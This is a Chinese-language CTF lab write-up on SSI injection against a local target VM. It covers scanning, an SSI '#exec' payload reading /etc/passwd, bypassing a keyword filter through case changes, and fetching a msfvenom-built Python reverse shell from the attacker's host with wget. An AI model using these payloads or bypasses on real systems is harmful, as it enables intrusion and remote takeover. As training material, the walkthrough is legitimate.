CTF-SSI注入

SSI注入

SSI 注入全称Server-Side Includes Injection，即服务端包含注入。SSI 是类似于CGI，用于执行动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令，在页面被提供时由服务器进行运算，以对现有HTML页面增加动态生成的内容，而无须通过CGI程序提供其整个页面，或者使用其他动态技术。
从技术角度上来说，SSI就是在HTML文件中，可以通过注释行调用的命令或指针，即允许通过在HTML页面注入脚本或远程执行任意代码。
参考链接：https://blog.csdn.net/bylfsj/article/details/101451413

实验环境：

攻击者：Kali Linux（192.168.100.146）
靶机：VMware workstations Pro——Ubuntu 6（32-bit）（192.168.100.133）

实验流程：

• 端口扫描，服务探测
  命令：nmap -sV 192.168.100.133
  开放了80端口，Web服务——Apache服务器
  
• 目录扫描
  命令：dirb http://192.168.100.133
  敏感目录：robots.txt文件、ssi目录等
  
• Web详细信息探测
  命令：nikto -host http://192.168.100.133
  发现了敏感文件：index.shtml
  
• 网站下面有Ssi目录，结合该网站目录下面的index.shtml，判断该网站可能使用了ssi技术。
  
• 网站下面的index中存放着SSI命令执行的关键字
  
• http://192.168.100.133/index.php中疑似有命令执行功能，通过上面的关键字构建要执行的命令。<-- #exec cmd=“cat /etc/passwd” -->
  
• 网站对用户输入的内容进行了过滤，Target输入框中对尖括号进行了过滤，Feedback输入框中对exec关键字进行了过滤。
  
• 尖括号绕过方式有限，尝试绕过对于关键字exec的检测过滤，使用大小写的方式绕过。
  
• 成功绕过防御，构造命令
  
• 生成木马，上传到靶机root用户家目录
  利用msfvenom生成木马，利用python反弹shell
  
• 将生成的木马放在/var/www/html（httpd服务的网站主目录）下面
  
• 启动kali的httpd服务
  
• 靶机上面执行命令使用wget下载文件并执行。 wget http://192.168.100.146/shell.py
  
• 监听端口，反弹shell
  
• 执行木马
  
• 反弹shell
  
  
• 优化shell
  
• 获取权限